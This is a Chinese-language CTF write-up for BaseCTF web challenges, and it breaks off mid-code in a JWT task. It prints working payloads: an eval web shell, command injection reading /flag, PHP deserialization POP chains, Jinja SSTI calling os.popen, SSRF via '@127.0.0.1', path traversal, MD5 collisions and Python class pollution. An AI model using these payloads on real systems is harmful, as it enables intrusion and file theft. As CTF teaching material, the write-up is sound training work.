Week1 官方WP https://j0zr0js7k7j.feishu.cn/docx/U2dVdIOTCoLrp9xaYCrcEEbkndh
A Dark Room 题目描述 文字游戏 玩得开心!
考点
题解 右键F5查看源代码即可,翻到底部即可看到flag。
Aura 酱的礼物 题目描述 你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!
考点
题解 访问题目,题面为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );$pen = $_POST ['pen' ];if (file_get_contents ($pen ) !== 'Aura' ){ die ('这是 Aura 的礼物,你不是 Aura!' ); } $challenge = $_POST ['challenge' ];if (strpos ($challenge , 'http://jasmineaura.github.io' ) !== 0 ){ die ('这不是 Aura 的博客!' ); } $blog_content = file_get_contents ($challenge );if (strpos ($blog_content , '已经收到Kengwang的礼物啦' ) === false ){ die ('请去博客里面写下感想哦~' ); } $gift = $_POST ['gift' ];include ($gift );
很明显,最后有一个include($gift)
,很明显是文件包含漏洞。
在到达include()
前,需要绕过3个if判断。
对于第一个if判断。
1 2 3 4 5 $pen = $_POST ['pen' ];if (file_get_contents ($pen ) !== 'Aura' ){ die ('这是 Aura 的礼物,你不是 Aura!' ); }
利用伪协议data://text/plain,Aura
即可通过判断。
对于第二个if判断。
1 2 3 4 5 $challenge = $_POST ['challenge' ];if (strpos ($challenge , 'http://jasmineaura.github.io' ) !== 0 ){ die ('这不是 Aura 的博客!' ); }
strpos()
要求了http://jasmineaura.github.io
必须出现在$challenge
变量的最前面。
第三个if判断。
1 2 3 4 5 $blog_content = file_get_contents ($challenge );if (strpos ($blog_content , '已经收到Kengwang的礼物啦' ) === false ){ die ('请去博客里面写下感想哦~' ); }
又要求在$challenge
的这个网站中包含已经收到Kengwang的礼物啦
这个字符串,但通过访问http://jasmineaura.github.io
可以发现,该网页中不存在要求的字符串,也不存在留言的位置。
显然,直接访问http://jasmineaura.github.io
显然是不行的,对此,我们可以使用@
,例如www.baidu.com@127.0.0.1
这个url实际访问的是127.0.0.1
而不是www.baidu.com
,这种写法会使得浏览器忽略@
前的地址而访问其后的地址,类似的,www.baidu.com#127.0.0.1
则访问的是www.baidu.com
。
至此,我们就可以在满足第二条判断的同时,控制实际访问的地址。
当然,你可以自己创建一个带有目标字符串的服务器,控制靶机访问你的服务器,但最简单的方法应该是直接让靶机访问获取自己的信息,很显然,它自带这串目标字符串,不是吗。
至此,我们已经绕过所有判断,可以进行文件包含了,这里选择使用
php://filter/convert.base64-encode/resource=flag.php
来进行文件读取。
综上,payload为,post传参即可
1 pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/convert.base64-encode/resource=flag.php
最后将获得的base64字符串解码,获得flag
HTTP 是什么呀 题目描述 成为嘿客的第一步!当然是 HTTP 啦! 可以多使用搜索引擎搜索每个参数的含义以及传参方式
考点
题解 根据要求传参即可
首先是GET参数,如果直接传basectf=we1c%00me
是不行的,因为%00
会被转义为空,我们需要对%进行一下url编码,%25
表示%,传入basectf=we1c%2500me
即可
然后是POST参数,传入Base=fl@g
即可
接着是Cookie参数,传入c00k13=i can't eat it
即可
然后是User-Agent参数,修改为Base
接着是Referer参数,修改为Base
最后是ip,添加请求头X-Forwarded-For: 127.0.0.1
即可
完成后会发生跳转
来的路上?抵达终点之前?用BurpSuite抓包看看
发现跳转过程中存在flag,base64解码即可
跳转过程为/ => /success.php?flag=xxxxx => /thankyou.php
当然,在/thankyou.php界面的Referer参数中也可以看到flag
md5绕过欸 题目描述 绕哇绕哇绕
考点
题解 查看题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; } ?>
第一层要求4个参数都存在,GET传入name=1&name2=2
,POST传入password=1&password2=2
。
第二层要求name与password不同,但MD5后相同,注意到是双等号,即弱比较,利用0e漏洞绕过,在php中的弱比较中,会把0e开头且后面全为数字的字符串视为科学计数法,即0e123 => 0^123 => 0,利用这一点,当有两个不同值的MD5为e开头且后面全为数字的字符串,则会导致0==0,绕过判断,修改GET传入参数为name=240610708&name2=2
,POST传入参数为password=314282422&password2=2
。
类似的,有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 240610708 0e462097431906509019562988736854 314282422 0e990995504821699494520356953734 571579406 0e972379832854295224118025748221 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 EEIZDOI 0e782601363539291779881938479162 TUFEPMC 0e839407194569345277863905212547 UTIPEZQ 0e382098788231234954670291303879
第三层相比第二层多了一个等号,变为了强比较,无法再利用0e漏洞绕过,php中的MD5函数无法处理数组,当给它传入数组时,MD5函数会返回NULL,而NULL===NULL,通过判断。
最终GET传入参数为name=240610708&name2[]=1
,POST传入参数为password=314282422&password2[]=2
upload 题目描述 快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
考点
题解 简单写一个最普通的一句话木马
1 <?php eval ($_REQUEST ["cmd" ]);?>
保存名字为normal.php,上传,无任何过滤,并且返回了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 );if (isset ($_FILES ['file' ])) { highlight_file (__FILE__ ); $file = $_FILES ['file' ]; $filename = $file ['name' ]; $filetype = $file ['type' ]; $filesize = $file ['size' ]; $filetmp = $file ['tmp_name' ]; $fileerror = $file ['error' ]; if ($fileerror === 0 ) { $destination = 'uploads/' . $filename ; move_uploaded_file ($filetmp , $destination ); echo 'File uploaded successfully' ; } else { echo 'Error uploading file' ; } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>上传你喜欢的图片吧!</title> </head> <body> <form action="" method="post" enctype="multipart/form-data" > <input type="file" name="file" > <button type="submit" >上传!</button> </form> <?php $files = scandir ('uploads' ); foreach ($files as $file ) { if ($file === '.' || $file === '..' ) { continue ; } echo "<img src='uploads/$file ' style=\"max-height: 200px;\" />" ; } ?> </body> </html>
文件上传至uploads/目录下,那么我们的木马就在uploads/normal.php,用蚁剑连接
连接成功后访问/flag文件获取flag
喵喵喵´•ﻌ•` 题目描述 小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..
考点
题解 题面
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
一个没有任何过滤的简单命令执行,GET传入DT=system("cat /flag");
,注意不要忘记分号
Week2 官方WP https://j0zr0js7k7j.feishu.cn/wiki/JQbiwKdvtiR49VkMj5RcmPvPn7c
ez_ser 题目描述 简单的反序列化入门,喵喵喵
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } class Crypto { public function __wakeup ( ) { echo "happy happy happy!" ; } public function getflag ( ) { echo "you are over!" ; } } $ser = $_GET ['ser' ];unserialize ($ser );?>
先分析逻辑,思考如何构建利用链
看到了MIsc类下的getflag()
函数可以获取flag,这便是我们的最终目标
怎样能调用它呢?注意到pwn类下的$this->over->getflag();
,如果$this->over
是MIsc类即可成功调用
$this->over->getflag();
在__get()
魔术方法下,需要当访问不可访问或不存在的属性时触发
观察发现re类的$this->chu0->$nononono;
访问了不存在的$nononono
,我们接下来就需要触发__toString()
魔术方法
web类的echo "lalalla".$this->kw;
存在字符串拼接,可触发__toString()
魔术方法,而__wakeup()
是一个自动启动的方法,当反序列化后变化触发,由此思考结束,利用链为
web->__wakeup() => re->__toString() => pwn->__get($name) => Misc->getflag()
去除掉无用的代码,生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public function getflag ( ) { eval ("system('cat /flag');" ); } } $a = new web ();$b = new re ();$c = new pwn ();$d = new Misc ();$a ->kw = $b ;$b ->chu0 = $c ;$c ->dusk = "gods" ;$c ->over = $d ;echo serialize ($a );?>
得到payload:O:3:"web":1:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":0:{}}}}
,GET传入ser即可
RCEisamazingwithspace 题目描述 RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$cmd = $_POST ['cmd' ];if (preg_match ('/\s/' , $cmd )) { echo 'Space not allowed in command' ; exit ; } system ($cmd );
简单审计代码发现,仅过滤了空格,当检测到空格时程序中断
使用$IFS代替空格即可,即POST传入cmd=cat$IFS/flag
IFS是Shell命令中的变量,表示 Internal Field Separator (内部字段分隔符),$IFS
默认是空字符(空格Space、Tab、换行\n)
Really EZ POP 题目描述 你已经学会反序列化了,接下来尝试手动构造 POP 链吧!
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ );class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
老样子,先分析
Sink类的__toString()
魔术方法中存在可控的eval()
函数,找到了利用点,这是我们的目标
Shark类的__invoke()
魔术方法存在字符串拼接,可触发__toString()
魔术方法
Sea类的__get($name)
魔术方法将$sea_ani()
调用为函数,可触发__invoke()
魔术方法
Nature类的__destruct()
魔术方法访问了不存在的属性see,可触发__get($name)
魔术方法
__destruct()
魔术方法在对象销毁时自动触发
至此,利用链分析完毕
但是有些变量是private
而非public
,这就需要我们手动修改下了
先将private
改为public
,生成基础payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class Sink { public $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { public $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $a = new Nature ();$b = new Sea ();$c = new Shark ();$d = new Sink ();$a ->sea=$b ;$b ->animal=$c ;$c ->word=$d ;$d ->cmd="system('cat /flag');" ;echo (serialize ($a ));?>
得到基础payload:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:4:"word";O:4:"Sink":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}}
对于非public变量,序列化后变量遵循: \0 + 类名 + \0 + 变量名 ‐> 反序列化为private变量 \0 + * + \0 + 变量名 ‐> 反序列化为protected变量 在浏览器中,可能需要将\0换成%00
因此修改payload为O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system('cat /flag');";}}}}
POST传参即可
一起吃豆豆 题目描述 大家都爱玩的JS小游戏
考点 JS代码审计
题解 一个JS小游戏,flag大概率藏在js中,又因为js代码基本都是在浏览器本地运行的,所以我们可以直接进行代码审计
当审计到index.js的第1046行时注意到了一串可疑的base64编码后的字符串,解码后即为flag
你听不到我的声音 题目描述 我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
考点
题解 题面
1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
对于这种无回显命令执行,一是可以直接反弹shell,二是可以通过<
>
来写入文件,三是可以通过highlight_file()
显示文件
比如说可以POST传参cmd=cat /flag > flag.txt
,然后访问/flag.txt路径即可获得flag
所以你说你懂 MD5? 题目描述 所以你说你懂 MD5?
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
观察发现最后可以获得flag,但是前面有五次判断
首先对于第一次判断,传数组即可通过强比较,即apple[]=1&banana[]=2
对于第二次判断,属于md5弱比较,利用0e漏洞即可,即appple=314282422&bananana=571579406
对于第三次判断,属于强比较,并且使用了(string)
,需要进行md5强碰撞,使用fastcoll这个工具即可生成两个内容不一样但是md5值相同的文件,例如apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
对于第四次判断,只要让$md5
的最后5位是admin即可
对于第五次判断,则需要用到哈希长度拓展攻击,可使用工具hashpump
分别传入生成的$name
和$md5
即可
综合即为
1 apple[]=1&banana[]=2&appple=314282422&bananana=571579406&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=<yourname>&md5=<yourmd5>
数学大师 题目描述 Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
本题依赖 session,请在请求时开启 session cookie
考点
题解 题目要求三秒内算出并提交答案,人写肯定不现实,因此需要用到python脚本,参考脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport reurl = "http://challenge.basectf.fun:26945/" session = requests.session() response = session.get(url).text print (response)while True : response = response.replace("×" , "*" ) response = response.replace("÷" , "/" ) question = re.search(r'\d+[\+\-\*\/]\d+' , response).group(0 ) answer = eval (question) post_data = { "answer" : answer } response = session.post(url, data=post_data).text print (response) if "Base" in response: break
Week3 官方WP https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd
ez_php_jail 题目描述 DT最怕坐牢了…但是包吃包住啊!
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?>
审计发现包含hint.html,尝试读取
hint在./cGgwX2luZm9fTGlrZV9qYWlsLnBocA==
,base64解码为ph0_info_Like_jail.php
,尝试访问,发现返回的是
得到php版本为7.4.27,且大部分命令执行函数都被禁止了
尝试传参Jail_by.Happy=1
,但提示Do You Like My Jail?
,这是因为php在解析时会把.
替换为_
,而在小于8的php版本中,[
会被转化为_
,其之后的.
不会再被转化,因此需要传Jail[by.Happy=1
,这样就不会提示Do You Like My Jail?
了
命令执行函数被禁了,文件包含函数也被禁了,但还可以使用highlight_file()
来读取文件,但又因为a
被禁了,因此需要用到通配符,猜测flag在根目录下,结合目录变量漏洞,构造Jail[by.Happy=highlight_file(glob("../../../../fl*g")[0]);
glob() 函数返回匹配指定模式的文件名或目录,该函数返回一个包含有匹配文件 / 目录的数组。
复读机 题目描述 一位复读机发明了一个复读机来复读flag
考点
题解 简单fuzz测试一下,发现过滤了'class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse','{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\'
,并且需要是BaseCTF
开头
{{`和`}}
被过滤了,使用{%`和`%}
代替,但由于{%%}
没有输入,因此需要搭配print()
使用,即{%print(''.__class__)%}
获取类对象,.
过滤了可以使用[]
代替,class
代替可以用拼接绕过,修改payload为{%print(''['_'+'_cla'+'ss_'+'_'])%}
以下先不进行绕过操作,使用原始payload
获取字符串的类对象{%print(''.__class__)%}
寻找基类{%print(''.__class__.__mro__)%}
寻找可用引用{%print(''.__class__.__mro__[0].__subclasses__())%}
{%print(''.__class__.__mro__[1].__subclasses__())%}
在{%print(''.__class__.__mro__[0].__subclasses__()[104])%}
找到_frozen_importlib_Builtinlmporter
模块
payload为{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cat /flag').read())%}
由于/
和.
被过滤,使得难以访问到根目录,linux中有一个dirname命令可以获取到父目录名称,通过与pwd组合,便可获得指向上一级目录,即$(dirname $(pwd))
,因此,执行命令为cd $(dirname $(pwd));cat flag
综上,原始payload为{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cd $(dirname $(pwd));cat flag').read())%}
绕过过滤的最终payload为
1 flag=BaseCTF{%print(''['_'+'_cla'+'ss_'+'_']['_'+'_m'+'ro'+'_'+'_'][1]['_'+'_subc'+'lasses_'+'_']()"[104]['load_module']('o'+'s')['po'+'pen']('cd $(dirname $(pwd));cat flag')['read']())%}
滤个不停 题目描述 过滤这么多还怎么玩!等等….不对劲
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
存在include()
函数,显然是文件包含漏洞,但是过滤了伪协议
先POST传入incompetent=HelloWorld
绕过第一次判断
foreach循环要求$Datch
前几位和$required_chars
一样,传入Datch=sevanxro
即可
结合目录遍历漏洞,使得include包含sevanxro/../../../../../flag
综合下来,POST传入incompetent=HelloWorld&Datch=sevanxro/../../../../../flag
玩原神玩的 题目描述 flag怎么被分解成$array了,不管了,原神,启动!
考点
题解 题面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
第一步要求sizeof($_POST['len']) == sizeof($array)
,$array
的值不知道,结合include 'flag.php';
,推测是flag,flag的长度我们并不知道,所以需要写脚本进行测试,需要注意的是,如果传入len[0]=1&len[1]=1
,则sizeof($_POST['len'])==2
,同理传入len[0]=1&len[1]=1&len[2]=1
,则sizeof($_POST['len'])==3
,最终测试得到sizeof($array)==45
第二步传入tip=我要玩原神
即可,可能需要url编码一下
第三步传入m[0]=1&m[1]=1
第四步修改m[0]=100%
,求出md5("100%")==30bd7ce7de206924302499f197c7a966
,修改m[1]=love100%30bd7ce7de206924302499f197c7a966
然后会得到45个flag的字符的ascii值异或上它的下标的md5值
编写脚本先把md5转化回flag的字符的ascii值异或上它的下标的值
再将得到的值异或它的对应下标后再转字符即可
以下完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport jsondef get_md5 (): url = "http://challenge.basectf.fun:23409/?tip=我要玩原神" post_data = {} for i in range (45 ): post_data[f"len[{str (i)} ]" ] = str (i) post_data["m[0]" ] = "100%" post_data["m[1]" ] = "love100%30bd7ce7de206924302499f197c7a966" response = requests.post(url, data=post_data).text[5913 ::] datas = json.loads(response) with open ("md5.txt" , "w" ) as fp: for data in datas: fp.write(data+"\n" ) return datas def get_flag (datas ): md5_flag = [] flag = "" with open ("md5_table.json" , "r" ) as fp: md5_table = json.load(fp) for data in datas: md5_flag.append(md5_table[data]) print (md5_flag) for index, ch in enumerate (md5_flag): ch = chr (int (ch) ^ index) flag += ch return flag print (get_flag(get_md5()))
生成md5_table.json(md5彩虹表)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import hashlibimport jsonmd5_list = [] md5_table = {} for i in range (1000 ): md5_list.append(str (i)) for i in range (32 , 126 ): md5_list.append(chr (i)) print (md5_list)for i in md5_list: md5 = hashlib.md5() md5.update(i.encode("utf-8" )) print (md5.hexdigest()) md5_table[md5.hexdigest()] = i with open ("md5_table.json" , "w" ) as fp: json.dump(md5_table, fp)
Week4 flag直接读取不就行了? 题目描述 你应该能找到flag吧?
考点
题解 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
第9行利用遍历文件目录的类,结合10-12行遍历并输出文件找到flag文件的位置和名字
第13行利用文件读取的类读取flag文件
先GET传参?K=DirectoryIterator&W=/secret
获取flag名字为f11444g.php
因为是php文件,直接读取会被包含而看不到其中信息,因此需要结合php伪协议
再POST传参J=SplFileObject&H=php://filter/convert.base64-encode/resource=/secret/f11444g.php
获得被base64编码后的flag文件
圣钥之战1.0 题目描述 J1ngHong大魔王不会让你污染圣钥的!
考点
题解 访问/read路由获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read() @app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
可以利用Read()
下的open().read()
来读取flag,因此我们需要污染__file__
的值为/flag
payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 GET /pollute HTTP/1.1 Host : challenge.basectf.fun:32916Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : application/jsonContent-Length : 125{ "__init__" : { "__globals__" : { "__file__" : "../../../../../../flag" } } }
No JWT 题目描述 没有 JWT!
考点
题解 下载附件获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = 